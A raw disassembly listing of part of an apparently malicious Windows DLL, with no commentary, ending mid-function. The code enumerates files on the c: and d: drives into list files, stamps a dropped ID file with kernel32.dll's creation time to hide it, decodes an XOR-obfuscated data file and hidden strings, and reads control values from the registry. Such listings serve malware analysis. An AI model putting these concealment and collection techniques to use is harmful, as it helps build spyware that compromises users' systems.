loc_1000B00E:				; CODE XREF: .text:1000AFFCj
					; .text:1000B00Aj
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte ptr [ebp+0Ch]
		cmp	ecx, edx
		jnz	short loc_1000B021
		mov	eax, [ebp+8]
		jmp	short loc_1000B023
; ---------------------------------------------------------------------------


loc_1000B021:				; CODE XREF: .text:1000B01Aj
		xor	eax, eax


loc_1000B023:				; CODE XREF: .text:1000B01Fj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_1000B027(LPVOID)

sub_1000B027	proc near		; DATA XREF: sub_1000A318+B16o
					; sub_1000A318+C13o ...

var_8238	= dword	ptr -8238h
var_8234	= dword	ptr -8234h
var_8230	= dword	ptr -8230h
var_822C	= dword	ptr -822Ch
var_422C	= dword	ptr -422Ch
FileName	= byte ptr -4228h
var_4227	= byte ptr -4227h
PerformanceCount= LARGE_INTEGER	ptr -4128h
Memory		= dword	ptr -4120h
String2		= byte ptr -120h
var_11F		= byte ptr -11Fh
Dst		= byte ptr -20h
var_1F		= byte ptr -1Fh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 8238h
		call	__alloca_probe
		push	edi
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4227]
		rep stosd
		stosw
		mov	[ebp+String2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_11F]
		rep stosd
		stosw
		mov	[ebp+Dst], 0
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [ebp+var_1F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	ds:QueryPerformanceCounter	; QueryPerformanceCounter
		mov	ecx, dword ptr [ebp+PerformanceCount]
		push	ecx		; Seed
		call	ds:srand	; srand
		add	esp, 4
		push	0FFh		; uSize
		lea	edx, [ebp+FileName]
		push	edx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	6		; int
		mov	eax, off_10022114
		push	eax		; int
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	sub_1000274A
		add	esp, 0Ch
		lea	edx, [ebp+Dst]
		push	edx
		lea	eax, [ebp+FileName]
		push	eax
		push	offset aSS_tmp	; "%s\\%s.tmp"
		lea	ecx, [ebp+FileName]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		mov	[ebp+var_422C],	0
		push	400h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_422C]
		mov	[ebp+ecx*4+Memory], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4000h]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jbe	short loc_1000B145
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4000h]
		push	edx		; Source
		mov	eax, [ebp+var_422C]
		mov	ecx, [ebp+eax*4+Memory]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		jmp	short loc_1000B160
; ---------------------------------------------------------------------------


loc_1000B145:				; CODE XREF: sub_1000B027+FAj
		push	offset aC_0	; "c:"
		mov	edx, [ebp+var_422C]
		mov	eax, [ebp+edx*4+Memory]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8


loc_1000B160:				; CODE XREF: sub_1000B027+11Cj
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022050
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_12	; "%s%s"
		lea	eax, [ebp+String2]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0Ah		; dwMilliseconds
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4004h]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		mov	eax, [ebp+var_422C]
		push	eax		; int
		lea	ecx, [ebp+var_822C]
		push	ecx		; int
		lea	edx, [ebp+Memory]
		push	edx		; int
		mov	eax, [ebp+var_422C]
		mov	ecx, [ebp+eax*4+Memory]
		push	ecx		; Str
		call	sub_1000741F
		add	esp, 24h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4000h]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jnz	loc_1000B29C
		mov	[ebp+var_422C],	0
		push	offset aD_1	; "d:"
		mov	ecx, [ebp+var_422C]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022050
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_13	; "%s%s"
		lea	edx, [ebp+String2]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0Ah		; dwMilliseconds
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4004h]
		push	eax		; int
		mov	ecx, [ebp+arg_0]
		push	ecx		; int
		mov	edx, [ebp+var_422C]
		push	edx		; int
		lea	eax, [ebp+var_822C]
		push	eax		; int
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		mov	edx, [ebp+var_422C]
		mov	eax, [ebp+edx*4+Memory]
		push	eax		; Str
		call	sub_1000741F
		add	esp, 24h


loc_1000B29C:				; CODE XREF: sub_1000B027+1CCj
		mov	ecx, [ebp+var_422C]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4004h], 3
		jnz	loc_1000B4C9
		mov	[ebp+var_8230],	0


loc_1000B2CD:				; CODE XREF: sub_1000B027+2D1j
		mov	ecx, [ebp+var_8230]
		cmp	dword_1004B770[ecx*4], 0
		jz	short loc_1000B2FA
		cmp	[ebp+var_8230],	1000h
		jnb	short loc_1000B2FA
		mov	edx, [ebp+var_8230]
		add	edx, 1
		mov	[ebp+var_8230],	edx
		jmp	short loc_1000B2CD
; ---------------------------------------------------------------------------


loc_1000B2FA:				; CODE XREF: sub_1000B027+2B4j
					; sub_1000B027+2C0j
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_8230]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_14	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_8230]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_8230]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_8230]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+FileName]
		push	eax		; lpString2
		mov	ecx, [ebp+var_8230]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	[ebp+var_8234],	0
		jmp	short loc_1000B3CF
; ---------------------------------------------------------------------------


loc_1000B3C0:				; CODE XREF: sub_1000B027:loc_1000B442j
		mov	eax, [ebp+var_8234]
		add	eax, 1
		mov	[ebp+var_8234],	eax


loc_1000B3CF:				; CODE XREF: sub_1000B027+397j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4000h]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_8234],	eax
		jnb	short loc_1000B447
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4000h]
		mov	edx, [ebp+var_8234]
		movsx	eax, byte ptr [ecx+edx]
		mov	[ebp+var_8238],	eax
		mov	ecx, [ebp+var_8238]
		sub	ecx, 20h
		mov	[ebp+var_8238],	ecx
		cmp	[ebp+var_8238],	3Ch
		ja	short loc_1000B442
		mov	eax, [ebp+var_8238]
		xor	edx, edx
		mov	dl, ds:byte_1000B4F9[eax]
		jmp	ds:off_1000B4F1[edx*4]


loc_1000B42F:				; DATA XREF: .text:off_1000B4F1o
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4000h]
		mov	eax, [ebp+var_8234]
		mov	byte ptr [edx+eax], 23h


loc_1000B442:				; CODE XREF: sub_1000B027+3F1j
					; sub_1000B027+401j
					; DATA XREF: ...
		jmp	loc_1000B3C0
; ---------------------------------------------------------------------------


loc_1000B447:				; CODE XREF: sub_1000B027+3C0j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4000h]
		push	edx
		push	offset byte_10065ED8
		push	offset aS__S_lst_file ;	"%s__%s.lst.file"
		mov	eax, [ebp+var_8230]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	edx, [ebp+var_8230]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_8230]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_8230]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+30Ch], 1
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+var_8230]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_1000B4C9:				; CODE XREF: sub_1000B027+296j
		push	3		; int
		push	offset a1	; "1"
		push	offset aS_2	; "s"
		mov	eax, off_10022044
		push	eax		; Str
		push	80000002h	; hKey
		call	sub_10002C3D
		add	esp, 14h
		xor	eax, eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000B027	endp

; ---------------------------------------------------------------------------
off_1000B4F1	dd offset loc_1000B42F	; DATA XREF: sub_1000B027+401r
		dd offset loc_1000B442
byte_1000B4F9	db 0			; DATA XREF: sub_1000B027+3FBr
; ---------------------------------------------------------------------------
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[eax], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], al
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[ecx], eax
		add	[eax], eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B536	proc near		; CODE XREF: sub_1000B7EF:loc_1000B97Bp
					; sub_10016C4C:loc_10016FECp

Buffer		= byte ptr -320h
String1		= byte ptr -31Ch
var_31B		= byte ptr -31Bh
PerformanceCount= LARGE_INTEGER	ptr -21Ch
FileName	= byte ptr -214h
var_213		= byte ptr -213h
Dest		= byte ptr -114h
var_113		= byte ptr -113h
hObject		= dword	ptr -14h
var_10		= dword	ptr -10h
NumberOfBytesWritten= dword ptr	-0Ch
CreationTime	= _FILETIME ptr	-8

		push	ebp
		mov	ebp, esp
		sub	esp, 320h
		push	edi
		mov	[ebp+String1], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_31B]
		rep stosd
		stosw
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_213]
		rep stosd
		stosw
		mov	[ebp+Dest], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_113]
		rep stosd
		stosw
		mov	[ebp+Buffer], 0
		mov	[ebp+NumberOfBytesWritten], 0
		push	0FFh		; uSize
		lea	eax, [ebp+String1]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [ebp+String1]
		push	ecx
		push	offset aSKernel32_dll ;	"%s\\kernel32.dll"
		lea	edx, [ebp+FileName]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000B605
		push	0		; lpLastWriteTime
		push	0		; lpLastAccessTime
		lea	ecx, [ebp+CreationTime]
		push	ecx		; lpCreationTime
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileTime	; GetFileTime
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000B605:				; CODE XREF: sub_1000B536+B1j
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022080
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+String1]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000B676
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesRead
		push	1		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000B676:				; CODE XREF: sub_1000B536+11Bj
		push	0FFh		; uSize
		lea	eax, [ebp+String1]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_1002207C
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+String1]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000B6FC
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesRead
		push	0FFh		; nNumberOfBytesToRead
		lea	eax, [ebp+Dest]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000B6FC:				; CODE XREF: sub_1000B536+19Ej
		lea	eax, [ebp+Dest]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	loc_1000B7C3
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		mov	[ebp+var_10], eax
		lea	ecx, [ebp+PerformanceCount]
		push	ecx		; lpPerformanceCount
		call	ds:QueryPerformanceCounter	; QueryPerformanceCounter
		mov	edx, dword ptr [ebp+PerformanceCount]
		push	edx
		mov	eax, dword ptr [ebp+PerformanceCount+4]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		push	offset aXXX	; "%x-%x-%x"
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 14h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+String1]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_1000B7BF
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		lea	edx, [ebp+Dest]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; nNumberOfBytesToWrite
		lea	eax, [ebp+Dest]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		lea	edx, [ebp+CreationTime]
		push	edx		; lpLastWriteTime
		lea	eax, [ebp+CreationTime]
		push	eax		; lpLastAccessTime
		lea	ecx, [ebp+CreationTime]
		push	ecx		; lpCreationTime
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFileTime	; SetFileTime
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		jmp	short loc_1000B7C3
; ---------------------------------------------------------------------------


loc_1000B7BF:				; CODE XREF: sub_1000B536+240j
		xor	eax, eax
		jmp	short loc_1000B7EA
; ---------------------------------------------------------------------------


loc_1000B7C3:				; CODE XREF: sub_1000B536+1D5j
					; sub_1000B536+287j
		lea	ecx, [ebp+Dest]
		push	ecx
		movsx	edx, [ebp+Buffer]
		push	edx
		push	offset aD_S	; "%d_%s"
		push	offset byte_10065ED8 ; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	eax, 1


loc_1000B7EA:				; CODE XREF: sub_1000B536+28Bj
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_1000B536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_1000B7EF(LPVOID)

sub_1000B7EF	proc near		; DATA XREF: sub_1000C9DC+1ABo

var_4EE4	= dword	ptr -4EE4h
Buffer		= byte ptr -4EE0h
var_4DE0	= dword	ptr -4DE0h
RootPathName	= byte ptr -4DDCh
var_4DDB	= byte ptr -4DDBh
NumberOfBytesWritten= dword ptr	-4D9Ch
var_4D98	= byte ptr -4D98h
String1		= byte ptr -4D94h
var_4C94	= dword	ptr -4C94h
var_4C90	= dword	ptr -4C90h
Source		= dword	ptr -4C8Ch
var_4C88	= dword	ptr -4C88h
var_4C84	= dword	ptr -4C84h
phkResult	= dword	ptr -4C80h
var_4C7C	= byte ptr -4C7Ch
var_4C7B	= byte ptr -4C7Bh
var_4B7C	= byte ptr -4B7Ch
var_4B7B	= byte ptr -4B7Bh
var_4A7C	= byte ptr -4A7Ch
var_4A7B	= byte ptr -4A7Bh
dwIndex		= dword	ptr -497Ch
var_4978	= byte ptr -4978h
var_4977	= byte ptr -4977h
SubKey		= byte ptr -4878h
var_4478	= dword	ptr -4478h
var_4474	= byte ptr -4474h
var_4473	= byte ptr -4473h
cbData		= dword	ptr -436Ch
Dst		= byte ptr -4368h
var_4367	= byte ptr -4367h
var_4348	= dword	ptr -4348h
Filename	= byte ptr -4344h
var_4343	= byte ptr -4343h
Type		= dword	ptr -423Ch
hObject		= dword	ptr -4238h
FileName	= byte ptr -4234h
var_4134	= dword	ptr -4134h
String2		= byte ptr -4130h
var_412F	= byte ptr -412Fh
cchName		= dword	ptr -4030h
Memory		= dword	ptr -402Ch
var_4028	= byte ptr -4028h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
Dest		= dword	ptr -0Ch
hFile		= dword	ptr -8
hModule		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 4EE4h
		call	__alloca_probe
		push	esi
		push	edi
		mov	[ebp+cbData], 0FFh
		mov	[ebp+Type], 1
		mov	[ebp+var_4134],	0
		mov	[ebp+Dest], 0
		mov	[ebp+var_4C7C],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4C7B]
		rep stosd
		stosw
		mov	[ebp+var_4B7C],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4B7B]
		rep stosd
		stosw
		mov	[ebp+Dst], 0
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [ebp+var_4367]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_4978],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4977]
		rep stosd
		stosw
		mov	[ebp+var_4A7C],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_4A7B]
		rep stosd
		stosw
		mov	[ebp+String2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_412F]
		rep stosd
		stosw
		push	offset aShell32_0 ; "shell32"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		push	offset aShgetspecialfo ; "SHGetSpecialFolderPathA"
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_1006A8F4,	eax
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_1002205C
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		call	sub_1000878F
		add	esp, 4
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022060
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		call	sub_100015CE
		add	esp, 4
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_100220CC
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		push	offset byte_1006A924 ; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_1006A924 ; lpString2
		call	sub_10005BE3
		add	esp, 4
		test	eax, eax
		jnz	short loc_1000B97B
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_100220D0
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		push	offset byte_1006A924 ; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_1000B97B:				; CODE XREF: sub_1000B7EF+163j
		call	sub_1000B536
		test	eax, eax
		jnz	short loc_1000B98B
		xor	eax, eax
		jmp	loc_1000C9D4
; ---------------------------------------------------------------------------


loc_1000B98B:				; CODE XREF: sub_1000B7EF+193j
		push	0FFh		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset aL00834_dat ; "\\l00834.dat"
		lea	ecx, [ebp+FileName]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_1000BAC1
		push	0		; lpFileSizeHigh
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+var_4C88],	eax
		mov	ecx, [ebp+var_4C88]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Source], eax
		mov	edx, [ebp+var_4C88]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Source]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; lpOverlapped
		lea	ecx, [ebp+cbData]
		push	ecx		; lpNumberOfBytesRead
		mov	edx, [ebp+var_4C88]
		sub	edx, 1
		push	edx		; nNumberOfBytesToRead
		mov	eax, [ebp+Source]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:ReadFile	; ReadFile
		mov	[ebp+var_4C90],	0
		jmp	short loc_1000BA69
; ---------------------------------------------------------------------------


loc_1000BA5A:				; CODE XREF: sub_1000B7EF+2AAj
		mov	edx, [ebp+var_4C90]
		add	edx, 1
		mov	[ebp+var_4C90],	edx


loc_1000BA69:				; CODE XREF: sub_1000B7EF+269j
		mov	eax, [ebp+var_4C88]
		sub	eax, 1
		cmp	[ebp+var_4C90],	eax
		jnb	short loc_1000BA9B
		mov	ecx, [ebp+Source]
		add	ecx, [ebp+var_4C90]
		mov	dl, [ecx]
		xor	dl, 3Bh
		mov	eax, [ebp+Source]
		add	eax, [ebp+var_4C90]
		mov	[eax], dl
		jmp	short loc_1000BA5A
; ---------------------------------------------------------------------------


loc_1000BA9B:				; CODE XREF: sub_1000B7EF+289j
		push	offset asc_100231C0 ; "\n"
		push	offset dword_10037024 ;	int
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000BAC1:				; CODE XREF: sub_1000B7EF+1E9j
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022044
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_1000BC4F
		cmp	dword_10030228,	0
		jz	loc_1000BC4F
		push	offset aClose	; "close"
		mov	eax, dword_10030228
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_1000BBAD
		mov	[ebp+cbData], 200h
		push	20h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	ecx, [ebp+Dst]
		push	ecx		; lpData
		lea	edx, [ebp+Type]
		push	edx		; lpType
		push	0		; lpReserved
		push	offset aSl	; "sl"
		mov	eax, [ebp+phkResult]
		push	eax		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		mov	esi, eax
		lea	ecx, [ebp+Dst]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		sub	esi, eax
		mov	edx, dword_10030228
		mov	eax, [edx+4]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	esi, eax
		jge	short loc_1000BBAD
		mov	dword_100220E4,	0


loc_1000BBAD:				; CODE XREF: sub_1000B7EF+332j
					; sub_1000B7EF+3B2j
		push	offset aClose_0	; "close"
		mov	ecx, dword_1002C20C
		mov	edx, [ecx+4]
		push	edx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_1000BC4F
		mov	[ebp+cbData], 200h
		push	20h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		lea	edx, [ebp+Dst]
		push	edx		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		push	offset aGl_0	; "gl"
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		mov	esi, eax
		lea	edx, [ebp+Dst]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		sub	esi, eax
		mov	eax, dword_1002C20C
		mov	ecx, [eax+4]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	esi, eax
		jge	short loc_1000BC4F
		mov	dword_100220E8,	0


loc_1000BC4F:				; CODE XREF: sub_1000B7EF+309j
					; sub_1000B7EF+316j ...
		mov	[ebp+dwIndex], 0
		mov	[ebp+cchName], 400h
		lea	edx, [ebp+phkResult]
		push	edx		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022034
		push	ecx		; Str
		call	sub_100010BB
